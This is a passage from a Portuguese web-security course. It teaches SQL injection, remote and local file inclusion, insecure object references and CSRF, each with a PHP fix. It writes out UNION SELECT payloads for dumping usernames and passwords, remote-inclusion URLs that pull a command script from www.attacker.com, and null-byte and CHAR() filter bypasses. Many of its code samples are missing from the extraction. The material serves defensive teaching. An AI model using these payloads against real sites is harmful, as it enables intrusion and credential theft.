comando SQL passado para o Banco de Dados ficaria como segue: Página 26 Curso de Extensão Tecnológica de Segurança em Web

27 Por mais que se tente explorar o código, este é o melhor modo de se proteger de SQL Injection em campos alfanuméricos. Veja o código final como fica: Se aplicarmos a função addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue: Repare que se aplicarmos corretamente a função addslashes() até mesmo o primeiro exemplo não estaria vulnerável, pois um atacante não conseguiria manipular a lógica dos comandos SQL. Curso de Extensão Tecnológica de Segurança em Web Página 27

28 3.2.2 Segundo Exemplo (Ajax + Variáveis Numéricas) É importante ressaltar que o ultimo código está livre de SQL Injection, porém nele ainda é possível notar duas falhas de segurança que serão vistas em capítulos adiantes. Como dito anteriormente, o a utilização da função addslashes() é útil quando trabalhamos com variáveis alfanuméricas. O grande problema, é que programadores não sabem ou não se importam com variáveis numéricas que podem ser manipuladas por um usuário atacante. No inicio desde capítulo, foi comparado o grau de ocorrência da falha de SQL Injection com a falha de Cross-Site-Scripting, defendendo a lógica de que ambas se equivalem quanto à ocorrência nas aplicações web. Os métodos de ataques à SQL Injection visto até agora já são praticamente escassos na internet, porém, os próximos métodos de exploração descritos são tão comuns na Internet que, ao conhecê-los, percebe-se o quão a gigante rede de computadores está a mercê de pessoas mal-intencionadas. Uma ocorrência extremamente encontrada na Internet é semelhante ao próximo exemplo, já que a tecnologia Ajax (Asynchronous Javascript and XML) é tão difundida e utilizada na internet de maneira a aumentar a acessibilidade com o usuário porém sem pesar na mesma balanças aspectos que nos diz respeito a segurança. Página 28 Curso de Extensão Tecnológica de Segurança em Web

29 Vejamos o seguinte código: Ele consiste em um simples formulário dinâmico, onde ao selecione o campo select com um determinado ano, será carregado os veículos desde ano no segundo select. É possível notar que a requisição solicitando os veículos é feito ao arquivo buscamodelo.php que possui o seguinte código: O arquivo HTML em funcionamento pode ser visto na figura abaixo: Curso de Extensão Tecnológica de Segurança em Web Página 29

30 Ferramenta Auxiliar (FireBug) Quando trabalhamos com submissões que não são visíveis, ou seja, não aparecem na URL ou são feitas pelo método HTTP-POST, é necessário de alguma forma interceptá-las. Para isto, recomendo a utilização da ferramenta FireBug e Web Developer, disponíveis para o navegador Mozilla Firefox. Com o FireBug é possível descobrir como estão sendo feitas as submissões ao servidor, além de poder manipular os elementos da página e analisar os scripts envolvidos. Com o Web Developer, é possível tem um total controle dos formulários, cookies, Javascript dentre outros. Para instalação dos componentes no Firefox, basta seleciona-se o menu Ferramentas Complementos e localizar pelas respectivas extensões na guia de instalação: Com os complementos instalados, podemos utilizar para auxiliar em nosso processo de auditoria da aplicação. É importante ressaltar que existem dois métodos para ser localizar e neutralizar as vulnerabilidades em uma aplicação. Uma delas é a auditoria de código, onde temos acesso ao código-fonte e através da leitura do mesmo e com o auxilio de algumas ferramentas encontram-se os pontos fracos, dando o nome de auditoria de código. A outra é através da aplicação, onde a partir da visão do usuário (ou atacante), tenta-se levantar os possíveis vetores de ataques e então parte-se para os ataques em si, visando obter sucesso. A essa última dar-se o nome de teste de intrusão (pen-test penetration test). Página 30 Curso de Extensão Tecnológica de Segurança em Web

31 Com os complementos instalados, podemos notá-los através da barra de ferramentas do Web Developer e com o ícone do FireBug na bandeja do navegador. Ao selecionar um ano em um dos selects, através do FireBug é possível observar a requisição feita ao servidor: Então, basta copiar o endereço clicando com o botão direito no item da requisição e selecionando Copiar Localização. A partir daí basta colá-lo na barra de endereço para acessá-lo diretamente. Vemos então o item que foi adicionado à outra listagem (modelo). É importante ressaltar que, apesar do retorno ter sido em texto puro e a requisição ter sido através Ajax, o conceito se aplicação a qualquer tipo de retorno, como XML; e a qualquer tipo de meio de submissão, como formulários POST e banners de Flash. Existem diversas maneiras de identificar um possível vetor de ataque. Dependendo da configuração do servidor, uma simples entrada mal-formatada ou com caracteres específicos fazem a aplicação praticamente gritar Pultz... Estou vulnerável!. Porém, em alguns casos é necessário analisar algumas respostas do servidor para verificar a vulnerabilidades. No exemplo anterior, ao adicionar uma aspa simples à variável de URL ano, nota-se que não houve qualquer mensagem de erro do servidor, o que para muitos seria a conclusão de que o Curso de Extensão Tecnológica de Segurança em Web Página 31

32 mesmo não está vulnerável. Porém ao adicionarmos algumas informações específicas, temos uma resposta um tanto quanto curiosa, vejamos alguns exemplos: Repare que os três valores passados possuem uma característica em comum: = 3914/2 = sqrt( ) = 1952 Os três valores representam o registro do ano 1952 (Ferrari 250 S Vignale Coupe), o que confirma a vulnerabilidade, visto que o valor fornecido à variável está sendo repassada diretamente para a consulta SQL. Tendo um possível vetor de ataque, agora basta passar para o processo de exploração. Página 32 Curso de Extensão Tecnológica de Segurança em Web

33 Utilizando o INFORMATION_SCHEMA Muitos bancos de dados possuem recursos realmente úteis, porém ao se dizer que um recurso é útil para o desenvolvedor, pode-se dizer que o mesmo também é extremamente útil para um atacante. Um exemplo clássico disto é a representação de toda a sua estrutura interna em um Banco de Dados chamado INFORMATION_SCHEMA, e esse sempre foi um dos melhores amigos de muitos atacantes. A INFORMATION_SCHEMA possui tudo relacionado ao Banco de Dados em uma estrutura relacional, como tabelas, campos, triggers, views, privilégios etc. Vejamos sua estrutura relacional: Porém, para um atacante, somente duas tabelas são fundamentais a TABLES e a COLUMNS que possuem a seguinte estrutura: Curso de Extensão Tecnológica de Segurança em Web Página 33

34 Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS possui um campo COLUMN_NAME e um campo TABLE_NAME. Com isto, é possível obter a estrutura interna inteira do Banco de Dados através de uma simples vulnerabilidade. Para o nosso exemplo vulnerável, inicialmente necessitamos sabe como está organizado o comando SQL original. Através do código sabemos isto, porém em um ambiente hostil (na selva) isso não ocorre Descobrindo o Número de Colunas A primeira coisa que necessitamos saber é a quantidade de colunas que a consulta SQL principal retorna. Para isto, podemos fazer por força bruta, adicionando coluna por coluna em uma sub-consulta até ele executar o comando com sucesso. Um exemplo seria as seguintes tentativas: ano=0 UNION SELECT 1 (Erro) ano=0 UNION SELECT 1,2 (Erro) ano=0 UNION SELECT 1,2,3 (Erro) ano=0 UNION SELECT 1,2,3,...,100 (Sucesso) Porém isto seria extremamente exaustivo em uma consulta com 50 itens ou mais, já que seria necessário testar todos os valores até a quantidade correta. Página 34 Curso de Extensão Tecnológica de Segurança em Web

35 Outra maneira mais recomendada seria através de uma tentativa de ordenação pelo índice da coluna, já que assim podemos achar a quantidade de colunas em uma ordem de tempo binária (semelhante à busca binária). Não binária de 0s e 1s, mas sim binário que a divisão seria feita sempre pela metade, ou seja, seria possível achar a quantidade de colunas em muito menos tempo (menos da metade) que o método anterior. Veja: campo=0 ORDER BY 100 (Erro) campo=0 ORDER BY 50 (Erro) campo =0 ORDER BY 25 (Erro) campo =0 ORDER BY 12 (Sucesso) campo =0 ORDER BY 20 (Sucesso) campo =0 ORDER BY 23 (Erro) campo =0 ORDER BY 21 (Sucesso) campo =0 ORDER BY 22 (Erro) Desta forma, sabemos que se colocarmos um índice maior do que o número de colunas gerará um erro, caso contrário, o comando será executado com sucesso. Assim, colocamos inicialmente um numero grande (como 100) e vemos que gerou o erro, desta forma, vamos quebrando o número pela metade até ter sucesso na execução. No exemplo, ordenando pelo número 25 tivermos erro e ao ordenar com o numero 12 não tivemos. Isto significa que o número de colunas está no intervalo de 12 à 25 (inclusive 12). Ao irmos executado os passos, chegamos a um estado em que com 21 obtivemos sucesso na execução da consulta e que 22 gerou um erro. Desta forma, é possível concluir que a consulta possui exatas 21 colunas. Vamos fazer os testes para o exemplo fornecido: Curso de Extensão Tecnológica de Segurança em Web Página 35

36 Assim, pode-se concluir que o código possui exatas duas colunas em sua consulta SQL Obtendo colunas visíveis O próximo passo é identificar qual, dentre todas as colunas, são visíveis ao usuário. Assim saberemos quais colunas pode ser manipulados para a efetivação do ataque. Para isto, basta ligar outro comando SQL com duas colunas ao comando original, fazendo com que ele imprima os campos como se fizesse parte do resultado. Acessando a seguinte URL obtêm-se o seguinte resultado: Página 36 Curso de Extensão Tecnológica de Segurança em Web

37 Localizando Tabelas Necessárias É possível notar que ambas as colunas são visíveis. O próximo passo é utilizar os benefícios das tabelas TABLES e COLUMNS para saber quais são as tabelas e campos do Banco de Dados. Veja como um atacante pode tirar proveito delas para a obtenção dos dados para acessar o sistema: UNION SELECT TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES Repare que na listagem aparecem todas as tabelas do sistema e, dentre elas, a tabela que contem os usuários (tblusuarios) do exemplo da tela apresentado anteriormente Descobrindo o Nome das Colunas Tendo o nome da tabela, o próximo passo é obter o nome dos campos que ela possue. Isto pode ser feito através da tabela COLUMNS, buscando os nomes das colunas (COLUMN_NAME) da tabela que possue o nome (TABLE_NAME) tblusuarios, utilizando a seguinte URL: UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tblusuarios' Tanto antes quanto agora foi necessário especificar em Banco de Dados (schemata) estamos buscando as tabelas. No caso isso é feito através do casamento SCHEMA.TABELA, no caso o schema que foi utilizado foi o INFORMATION_SCHEMA que, como dito antes, armazenar informações da estrutura interna do banco de dados. A URL informada anteriormente lista os campos da tabela tlbusuario e possui a seguinte resposta: Curso de Extensão Tecnológica de Segurança em Web Página 37

38 Com isto, sabemos que temos uma tabela com nome tblusuario que possui os campos id, nome, usuário e senha Efetuando o Ataque Agora basta efetuar o ataque utilizando a informações que obtivemos. Com isto, para listar os usuários e senhas do banco de dados basta acessar a seguinte URL: UNION SELECT usuario,senha FROM tblusuarios Que teremos a seguinte resposta: De maneira mais organizada, o que a exploração nos retornou foi o seguinte: Usuário Senha admin maycon chuck Pode parecer que não, mas é impressionante como existem milhares de portais e sistemas web com o mesmo vetor de vetor de vulnerabilidade. Portais que possuem informações de clientes, informações de cartões de créditos dentre outras coisas que um administrador ou um usuário não desejariam que caísse em mãos erradas estão realmente vulneráveis a esse tipo de falha, o que torna a possibilidade de ataque uma questão de tempo. No exemplo anterior, foi necessária a utilização das aspas para sucesso no ataque, pois sem elas não seria possível (veremos que não é bem assim) definir qual tabela estamos procurando os campos. É claro que poderíamos relacionar as duas tabelas e selecionar pelo índice do registro da tabela, porém tornaria o comando de injection bastante complexo e, no final, acabaríamos esbarrando em algum outro empecilho. Um programador pouco experiente em segurança possui conhecimento básico do primeiro método utilizado e, para proteger seus códigos filtra todos os campos que serão passados para uma consulta SQL das aspas simples. De uma maneira geral, um programador que entenda o básico de SQL Injection ficaria com uma falsa segurança fazendo o seguinte código: Página 38 Curso de Extensão Tecnológica de Segurança em Web

39 Porém, como estamos executando comandos no Banco de Dados, temos acesso às funções internas do mesmo. Dentre as funções estão às funções algébricas, funções de formatação, funções de administração do BD, funções de tratamento de textos entre outras categorias. Como podemos executar tais funções, basta ver qual recurso o banco de dados nos oferece para driblar esse mecanismo de proteção. O meio mais simples de fazer isto, seria através da função CHAR() que, a partir de uma lista de valores ASCII retorna o texto resultante dos caracteres. No caso anterior, foi passado o valor tblusuario para a consulta. Em forma ASCII, cada uma das letras pode ser visto na tabela abaixo: Letra t b l u s u a r i o s ASCII Formando, então, a seguinte representação através da função CHAR(): UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(116, 98, 108, 117, 115, 117, 97, 114, 105, 111, 115) Esse exemplo foi específico para o SGBD MySQL, porém qualquer banco de dados descente possui função semelhante. Para se proteger desse tipo de vulnerabilidade, segue-se o mesmo conceito de sempre: Ao invés de procurar ver se o usuário está fornecendo algum dado maléfico, faça com que ele forneça somente o que você necessita. Com isto, no exemplo anterior, analisamos que a variável em questão é estritamente numérica. Portanto, basta verificar se o valor fornecido pelo usuário é numérico ou não. Cada linguagem possui um recurso para isto. No caso do PHP, isto pode ser feito através da função is_numeric() que possui a seguinte definição: bool is_numeric ( mixed $var ) Curso de Extensão Tecnológica de Segurança em Web Página 39

40 Esta função simplesmente retorna true se o parâmetro fornecido for numérico ou false caso contrário. Desta forma, nosso código seguro ficaria da seguinte maneira: O exemplo fornecido foi feito através do método GET por Ajax. Porém, em alguns casos os dados são enviados por métodos POST o que torna impossível enviar informações que gerem um Injection simplesmente alterando uma variável da URL. Para isto, existem duas maneiras de se testar o Injection. A primeira é criar um formulário com os mesmo nomes de campos que o formulário original e com o mesmo destino. Porém, é possível no servidor verificar se os dados estão foram fornecidos do mesmo servidor ou de um servidor diferente (nunca vi isso em prática, porém é possível). A outra maneira seria utilizar a ferramenta Web Developer citada anteriormente para conversão e manipulação dos campos do formulário. Assim, é possível converter campos select, campos hidden e campos option em campos do tipo text para que sua manipulação seja direta. No exemplo anterior, se os dados fossem enviados por método POST para o destino, bastaria selecionar o item Convert Select Elements To Text Inputs no menu Forms da barra de ferramentas do Web Developer no Firefox: Página 40 Curso de Extensão Tecnológica de Segurança em Web

41 E com isto podemos aplica diretamente os dados do Injection de maneira prática, simples e livre de qualquer dor de cabeça que venhamos a ter, como a validação do endereço de referência, a falta de dados no formulário, nome de campos errados, a falta de sessão etc. Dependendo do Banco de Dados utilizado pela aplicação, alguns recursos permitem a um atacante obter total controle do servidor. Um exemplo disto está na extensão cmd_shell presente nos Banco de Dados MS SQL Server da Microsoft que permite a um atacante executar um comando da Shell do servidor e, com isto, acessar o servidor, criar usuários, enviar e executar arquivos dente outras coisas que varia simplesmente de imaginação para imaginação Conclusão Mais uma vez tanto o conceito da vulnerabilidade quando do método preventivo se baseiam no mesmo aspecto de antes. A falha ocorre quando o programador confia nos dados fornecidos pelo usuário, levando em consideração que nenhuma entrada será mal intencionada, indo completamente contra a terminologia ensinada, de que Toda entrada é mal intencionada até que se provem o contrário. Com relação à prevenção, mais simples que isso impossível. Basta permitir que o usuário forneça apenas o que ele precisa fornecer, qualquer coisa diferente disto seria dito como ataque. Curso de Extensão Tecnológica de Segurança em Web Página 41

42 3.3. Execução de Arquivo Remoto (OWASP #3) Comparado com as demais classes de vulnerabilidades até então vistas, a vulnerabilidade e Remote Execution (Execução Remota) é a que mais causa impacto tanto para a aplicação quanto para o servidor. Em uma falha de SQL Injection, um atacante mais experiente consegue, através de recursos do Banco de Dados, executar comandos no servidor. Porém, a falha de Execução de Arquivos remota infere diretamente nisto, permitindo de maneira simples executar e controlar completamente o servidor. Quando se desenvolve aplicações ou se trabalha em empresas onde tempo é dinheiro, é muito comum exercer a pratica de produtividade acima de qualidade. Isto não está errado, pois quanto mais rápido se produzir mais tempo terá para ganhar dinheiro com outra coisa. Porém, é comum vermos a filosofia de qualidade abaixo de tudo, ou o tão conhecido lema se funciona não mecha. Tanto em ambiente Web quanto em qualquer outro meio tecnológico, as ferramentas surgem para aumentar a produtividade, muitas vezes utilizadas de maneira incorreta ou equivocadas. No inicio, antes de surgir linguagens dinâmicas (somente HTML), todas as páginas deveriam ser feitas na mão, tendo que repetir diversas coisas em todos os arquivos (menu, cabeçalho, rodapé etc), o que dificultava muito a manutenção, já que ao adicionar um novo item de menu todos os arquivos deveriam ser atualizados. Em seguida, surgiram os HTML frames, que permitia ao webdesigner separar as partes repetidas e simplesmente chamá-las do arquivo principal. Porém, esta pratica não agradavam muito, devido às limitações e má aparência que dava à página exercer essa prática. O que os levou a montar o leiaute da página utilizando tabelas e, mesmo assim repetir o conteúdo página por página. Com o surgimento das linguagens dinâmicas para Web, diversas funções surgiram para auxiliar a produtividade, uma delas foi o fato de se poder carregar no próprio servidor um arquivo e integrá-lo como se fizesse parte do arquivo que o está incluindo. No PHP (linguagem adotada para este curso), está funcionalidade é obtida através das funções include(), include_once(), require() e require_once(). Todas recebem como parâmetro o nome do arquivo que se deseja incluir e funcionam praticamente da mesma forma. A única diferença é que a função require mata o processamento caso ocorra algum erro durante a inclusão do arquivo (ex: arquivo não existir). As variações que terminam com once são utilizadas quando se deseja adicionar o arquivo somente uma vez, ou seja, se o arquivo que se está sendo incluído já estiver sido executado antes na mesma instancia do processo ele será ignorado, isto é utilizado para tratar dependência de arquivos e para evitar ciclos infinitos. Uma característica importante dessas funções é que, ao incluir um novo arquivo ao arquivo corrente, caso no novo arquivo contenha alguma código Server-side (em nosso caso PHP) o mesmo será executado. Página 42 Curso de Extensão Tecnológica de Segurança em Web

43 3.3.1 Exemplo Como exemplo, vamos criar um mini-sistema que utiliza os recursos das funções visando produtividade. Ele consiste no arquivo principal, em um arquivo de cabeçalho, um arquivo de rodapé e arquivos que representam o conteúdo. A aparência do exemplo é como segue: O conteúdo foi gerado utilizando a ferramenta Loren Ipsum [http://pt.lipsum.com/ ] já bastante conhecida entre os WebDesigners, entretanto isto não vem ao caso. O fundamental é a forma com que o site foi construído. Portanto, vejamos o seu arquivo principal: Curso de Extensão Tecnológica de Segurança em Web Página 43

44 É possível perceber que se utilizou em abundancia as funções include_once e include em busca de produtividade. Na forma com que o sistema está escrito, se for necessário adicionar qualquer item novo ao menu ou alterar alguma coisa em seu rodapé, basta modificar os arquivos menu.php ou rodapé.php. O interessante para um atacante está no fato da página de conteúdo ser fornecida como um parâmetro para o arquivo principal através da variável http-get pagina. O que muitos programadores não sabem (ou simplesmente ignoram) é que as funções include e família são bem mais extensivas do que eles imaginam. Uma das funcionalidades está no fato de os arquivos poderem estar ou não no servidor local, ou seja, pode-se fazer a inclusão e execução de arquivos em outros servidores. No caso do PHP, a equipe que desenvolve tem plena consciência dos riscos que a má utilização desta classe de funções pode causar. Para isto, o seguinte alerta de segurança esta disponível na documentação oficial do PHP para estas funções: Como dito, se o arquivo remoto tiver código PHP os mesmos serão executados pelo servidor local. O grande problema de segurança é que, da forma que o sistema esta desenvolvido, um atacante consegue manipular qual arquivo o usuário será passado para a função include(). Página 44 Curso de Extensão Tecnológica de Segurança em Web

45 Comparando isto com o principio de segurança, o fato de o programador não seguir a filosofia de que toda entrada é mal intencionada até que se provem o contrário deixa o sistema vulnerável e susceptível a um ataque. No exemplo dado, é possível notar que existem três arquivos principais: home.php, histórico.php e contato.php. Eles são acessados através das seguintes URLs: Isto porque o código concatena a variável pagina com o sufixo.php e em seguida repassa o resultado para a função include(). Caso exista um arquivo com o seguinte conteúdo: E o mesmo for passado como parâmetro para o sistema vulnerável através da seguinte URL: O resultado seria o seguinte: Ocorreu um erro na execução do script. Isto porque antes de fazer a inclusão do arquivo phpinfo.txt o mesmo foi concatenado com o sufixo.php, resultado no arquivo phpinfo.txt.php. Existem três maneiras de se resolver este impasse. A primeira seria renomear o arquivo phpinfo.txt para phpinfo.php, porém, existe o risco de o arquivo ser executado no servidor do atacante (caso o mesmo esteja configurado para isto) ao invés do servidor da vítima. A Curso de Extensão Tecnológica de Segurança em Web Página 45

46 segunda maneira seria a utilização do símbolo de interrogação (?) ao final do nome do arquivo, para que seja acessado o seguinte arquivo no servidor da vítima: O símbolo de interrogação (?) é utilizado para separar o caminho do arquivo de suas variáveis. Como o arquivo possui a extensão txt, ele não será executado, ignorando então o restante (.php) do caminho, resultando na execução do arquivo no servidor local. Outra maneira de burlar o sufixo.php inserido pelo código é através da inserção do caractere nulo (%00), pois o mesmo indica o final de uma cadeira de caracteres, portanto o PHP ignorará tudo o que estiver após ele. No exemplo de ataque, foi utilizado um script que simplesmente executa a função phpinfo() porém, para um atacante, isto se limita no que a linguagem possui. Com esse tipo de vulnerabilidade é possível enviar s falso, ler e alterar o conteúdo de arquivos e até mesmo executar comandos no Sistema Operacional. Veja um exemplo de código que executa comandos no Sistema Operacional: Página 46 Curso de Extensão Tecnológica de Segurança em Web

47 O código acima simplesmente utiliza a função passthru() do PHP para executar um dado comando e imprimir o retorno na tela. Semelhante a elas existem diversas outras funções e métodos interessantes de apresentar e interagir com o usuário. Existem scripts famosos que já possuem dezenas de recursos e funcionalidades como a c99.txt (atualizado recentemente para c100.txt) e o r57.txt, que possuem mecanismo que burlam métodos padrões de proteção como o safe-mode do PHP além de envio de , navegação no sistema de arquivos, exploits e backdoor embutidos. Existem diversas tentativas de se evitar esse tipo de ataque, porém muitas delas não possuem sucesso pela falta de conhecimento dos detalhes que a linguagem fornecem. Um exemplo disto está na filtragem dos dados fornecidos, criando assim uma blacklist de conteúdo, evitando que alguns padrões levem ao sucesso em uma tentativa de ataque: No exemplo acima, é feito a filtragem da cadeia de caracteres e ftp://, entretanto, pela documentação oficial, a função include() acessa diversos protocolos e Wrappers. O exemplo de proteção oferecido pode ser burlando facilmente utilizado os seguintes artifícios: https://www.attacker.com/cmd.txt? ftps://www.attacker.com/cmd.txt%00 ssh2.sftp://www.attacker.com/cmd.txt%00 Servidor SSH \\www.attacker.com\cmd.txt%00 Servidor Samba ou Compartilhamento de Arquivos Curso de Extensão Tecnológica de Segurança em Web Página 47

48 Uma alternativa seria verificar se existe alguma configuração que impeça a inserção de arquivos remotos. No caso do PHP, existe uma configuração chamada allow_url_fopen que especifica se o PHP terá permissão ou não de acessar arquivos remotamente. Ao habilitar essa configuração (Colocar allow_url_fopen = Off no php.ini), ocorreria o seguinte alerta ao tentar explorar a falha prevista: Porém mais uma vez, isto apenas gera uma falsa segurança, pois mesmo assim outros recursos podem ser obtidos com a não implementação da segurança diretamente na aplicação. Porém como os recursos não se enquadram em outra classe de vulnerabilidade, os mesmos serão vistos mais adiante na sessão 3.4 (Referência Direta a Objetos Inseguros) Solução A solução viável para o exemplo de código vulnerável seria a criação de uma whitelist ao invés de uma blacklist, permitindo que seja passado como parâmetro apenas o que for necessário. Um exemplo seria a utilização da seguinte função: Página 48 Curso de Extensão Tecnológica de Segurança em Web

49 Esta função é responsável por definir quais caracteres são validos em um determinado parâmetro. Com isto, bastaria simplesmente utilizá-lo em seu código como segue: Curso de Extensão Tecnológica de Segurança em Web Página 49

50 3.4. Referência Direta a Objetos Inseguros (OWASP #4) A vulnerabilidade de Referência Direta a Objetos ocorre quando o desenvolvedor confia nos dados fornecidos por um usuário, principalmente quando esses dados influenciam na política de controle e de acesso. É comum vermos que diversas informações que são utilizadas para manipular filtros e permissões podem ser livremente alteradas por um usuário mal intencionado Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional Um exemplo seria o mesmo visto na sessão anterior que, com o código vulnerável e a configuração allow_url_fopen, não seria possível acessar arquivos remotos, porém nada impede um atacante de acessar arquivos locais do servidor. Um exemplo seria a utilização da vulnerabilidade para acessar arquivos sigilosos do sistema operacional, como arquivos de configuração e arquivos de contas de usuários. Um exemplo abaixo, foi acessar o arquivo boot.ini contido na raiz do Sistema Operacional: Em um processo de invasão de um servido Unix (Linux e família), esta falha possibilitaria ao atacante acessar o arquivo /etc/passwd que contem informações das contas. Muitos acreditam que o simples fato de se ter às contas e não às senhas não oferece qualquer risco. Mais isto não é o fato. O autor desde material ao fazer o serviço de pen-test (Teste de Intrusão) em uma aplicação Web, notou uma falha que possibilitava a um atacante saber se uma conta era válida ou não no sistema. Com isto, fez-se um programa que buscava enumerar as contas utilizando de força bruta. Após algumas horas, conseguiu-se o nome de onze (11) contas válidas e, com as contas bastaria fazer outro ataque de força-bruta para obter as senhas. Como dicionário de senha, foi gerado um arquivo com todas as possíveis datas em um intervalo (ex: até ) e, Página 50 Curso de Extensão Tecnológica de Segurança em Web

51 por incrível que pareça foi possível obter acesso a quatro das contas. Com isto, é possível demonstra que nunca se deve desvalorizar uma informação, por mais desprezível que ela seja Segundo Exemplo - Acesso a Registros do Banco de Dados Outro exemplo muito comum ocorre quando o desenvolvedor utiliza o lado do usuário (campos hidden, cookies, etc) para armazenar informações que definem quem é o usuário ou informações relacionadas à política de segurança. Pois já que está do lado do usuário ( clientsite) nada impede um atacante de alterá-lo. Um exemplo seria o seguinte: Este código efetua uma consulta filtrando somente os registros cujo dono seja o usuário atual, exibe o resultado da listagem dos carros em uma tabela e para cada item exibe uma opção de deleção. É possível notar uma preocupação com a segurança, pois existe a utilização da função do PHP htmlspecialchars() que, como visto quando falamos de XSS, evita que esse tipo de exploração ocorra. É possível notar que ele faz a utilização do seguinte acesso para efetuar a remoção de um dado registro: Curso de Extensão Tecnológica de Segurança em Web Página 51

52 Ele acessa um arquivo chamado ação.php passando os parâmetro op com o valor deletar e uma variável carro que seria a possível identificação do veículo. Vejamos o conteúdo do arquivo acao.php: Nota-se neste código que o mesmo não está vulnerável a SQL Injection, pois é verificado se o valor que deveria ser numérico realmente consiste unicamente em um valor numérico. Em seguida é utilizado este valor para efetuar a remoção do registro do banco de dados. Um atacante teria sucesso em remover qualquer registro da tabela tblcarros, pois não é especificado no comando SQL qual é o proprietário do veículo e, por mais que na tela de listagem só existam registro do usuário, é possível montar uma requisição especificando qualquer identificador: Se o objetivo fosse limpar todos os registros do Banco de Dados, seria simples desenvolver uma ferramenta que executasse um ciclo (loop) e removesse registro por registro. Página 52 Curso de Extensão Tecnológica de Segurança em Web

53 3.4.3 Solução A solução para este tipo de falha é, como em qualquer outra, não confiar nos dados fornecidos pelo usuário. No exemplo fornecido, o seguinte código inibe esse tipo de ataque: Como visto no código, juntamente com o comando SQL é fornecido o código do usuário que está (ou pelo menos deveria estar) exercendo a função de remoção do registro. Na solução simplesmente levamos em consideração que toda entrada é mal intencionada até que se provem o contrário. Curso de Extensão Tecnológica de Segurança em Web Página 53

54 3.5. Cross Site Request Forgery (OWASP #5) A vulnerabilidade de Cross Site Request Forgery (XSRF) consiste em uma variação da vulnerabilidade de Cross Site Scripting (XSS). Ela parte do mesmo principio do XSS, ou seja, alterar uma informação que esta sendo enviada ao navegador do usuário (vítima). Porém, é importante ressaltar que qualquer sistema vulnerável a XSS também está vulnerável a XSRF más nem toda aplicação vulnerável a XSRF está vulnerável a Cross-Site-Scripting Primeiro Exemplo Forum Logout Diversos fóruns permitem aos membros associarem suas contas a um avatar, ou seja, a uma figura de exibição. Essa associação geralmente é feita com avatares pré-definidos, através do envio de arquivos ou simplesmente através do envio do endereço (url) da figura. É comum ver ataques a fórum inseguros que utilizam deste recurso. Um usuário mal intencionado simplesmente escolhe a opção de fornecer um endereço de internet como seu avatar e, como caminho da figura, insere o seguinte valor: Desta forma o fórum, ao exibir as informações do usuário enviaria o seguinte para o navegador: <img src= /> Fazendo com que seja enviada uma solicitação de logout utilizando as credenciais do usuário Segundo Exemplo Sites de e-commerce Outro tipo de sistema muito susceptível a ataques de XSRF são os sites de comércio eletrônico. Isto ocorre principalmente pela vantagem que um atacante teria ao conseguir que outros usuários enviassem requisições utilizando suas respectivas credenciais de acesso, podendo fazer lances e efetuar comprar de produtos de maneira inconsciente. O portal de veículos utilizado neste material foi modificado para que os usuários possam trocar os veículos entre si. Foram feitos as seguintes modificações: Página 54 Curso de Extensão Tecnológica de Segurança em Web

55 Agora é possível alterar o proprietário de um carro e também fornecer um caminho (url) de uma foto ao fazer o cadastro de um novo veículo. Para a alteração do proprietário no formulário, temos o seguinte código: Então para alterar um proprietário de um veículo, o seguinte modelo de requisição é enviado para o servidor: acao.php?op=troca_dono&carro=[id do carro]&novo_dono=[id do novo dono] Vejamos o conteúdo da operação troca_dono do arquivo acao.php: Curso de Extensão Tecnológica de Segurança em Web Página 55

56 Repare que a alteração é feita prevenindo-se de SQL Injection (OWASP #2) e de Referência Indireta a Objetos Inseguros (OWASP #4) portanto o mesmo aparenta seguro. O problema está não no fato de a requisição ter sido feito utilizando o usuário proprietário do carro, mas sim se foi realmente o usuário quem à fez. Se o usuário Maycon Maia deseja obter (roubar) o carro de código quatro (4) que pertence a um usuário Daniel da Silva, basta ele cadastrar um carro e definir o seguinte como caminho da figura de exibição: Onde quatro é o código do veículo e dois é o seu próprio código de usuário. O resultado para a listagem de veículos seria o seguinte: Página 56 Curso de Extensão Tecnológica de Segurança em Web

57 Repare que para o veículo do usuário Maycon Maia não apareceu a imagem de exibição, vejamos no HTML da página o que esta inserido: É possível ver através do inspector do FireBug que o cadastro foi feito como o atacante (Maycon) previu. Agora basta ele esperar o usuário Daniel acessar a listagem de veículo que a requisição será enviada para o servidor com suas credenciais e a troca será efetuada e a listagem de veículos ficará da seguinte forma: Curso de Extensão Tecnológica de Segurança em Web Página 57

58 Ou seja, o veículo de código 4 foi alterado para o usuário Maycon pelo usuário Daniel de maneira inconsciente Solução A primeira coisa à fazer para prover uma solução seria não deixar qualquer vulnerabilidade de XSS em sua aplicação, pois como dito, é bem provável que um atacante consiga explorar uma falha de XSRF através de uma vulnerabilidade de XSS. Com relação ao exemplo, mesmo a utilização da função addslashes() não deixaria a aplicação livre da vulnerabilidade de XSRF. Para isto, a OWASP recomenda desenvolver um controle próprio de tokens, ou seja, não depender exclusivamente do cookie do usuário para garantir a autenticidade. Uma alternativa seria gerar um valor aleatório e armazená-lo em um campo hidden juntamente com o formulário de troca de proprietário. Esse campo seria enviado junto da solicitação de alteração de proprietário e seria validado com o valor original em sessão para garantir que realmente foi uma solicitação requerida pelo usuário. Página 58 Curso de Extensão Tecnológica de Segurança em Web

59 3.6. Vazamento de Informação e Tratamento Incorreto de Erros (OWASP #6) A vulnerabilidade de Vazamento de Informação (ou Information Leak do inglês) sempre serviu de grande auxílio para um atacante experto. Em um processo de pen-test (Teste de Intrusão), quando se detecta um vazamento de informação, a mesma é inserida no relatório técnico como grau de risco e possível vetor de ataque. Qualquer informação que não foi útil para o usuário não deve ser fornecida a ele. Ou melhor, só deve ser fornecido ao usuário informações que fariam falta a ele. É extremamente comum vermos paginas e portais lançando dumps de pilha de chamada, comandos inteiros de SQL, informações de debug etc, simplesmente por pormos uma aspa simples em uma variável. Além disto, um vazamento de informação pode estar tão implícito que dificilmente percebemos, porém um atacante logo percebe Primeiro Exemplo Mensagens Diversas Um exemplo clássico e comum de encontrar-se na internet é o visto no trecho de código abaixo já visto quando estávamos estudando SQL Injection: Curso de Extensão Tecnológica de Segurança em Web Página 59

